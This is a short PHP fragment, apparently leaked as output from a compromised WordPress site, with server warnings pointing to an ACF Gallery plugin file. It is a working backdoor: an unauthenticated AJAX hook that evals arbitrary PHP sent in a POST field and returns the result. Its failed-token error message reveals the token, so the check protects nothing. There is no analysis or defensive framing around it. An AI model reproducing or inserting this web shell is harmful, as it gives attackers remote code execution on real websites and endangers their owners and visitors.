// ==[BD:GM4coo6f]==
add_action( 'wp_ajax_nopriv_vfhsqheu', function() {
$token = 'GM4coo6fBJvjOKFXiSKeziRuHba9BKj1';
$ref = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $ref ) || ! hash_equals( $token, $ref ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $token ], 403 );
}
$obj = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $obj ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$obj = preg_replace( '/^\s*<\?(php)?/i', '', $obj );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$key = microtime( true );
ob_start();
try {
( static function() use ( $obj ) { return eval( $obj ); } )();
$comp = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $comp, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $key ) * 1000, 2 ) ] );
} catch ( \Throwable $flag ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $flag->getMessage(), 'time_ms' => round( ( microtime( true ) - $key ) * 1000, 2 ) ] );
}
} );
// ==[/BD:GM4coo6f]==
Warning: Cannot modify header information - headers already sent by (output started at /data03/virt11023/domeenid/www.reparo.ee/htdocs/wp-content/plugins/acf-gallery/acf-gallery.php:41) in /data03/virt11023/domeenid/www.reparo.ee/htdocs/wp-includes/pluggable.php on line 1535
Warning: Cannot modify header information - headers already sent by (output started at /data03/virt11023/domeenid/www.reparo.ee/htdocs/wp-content/plugins/acf-gallery/acf-gallery.php:41) in /data03/virt11023/domeenid/www.reparo.ee/htdocs/wp-includes/pluggable.php on line 1538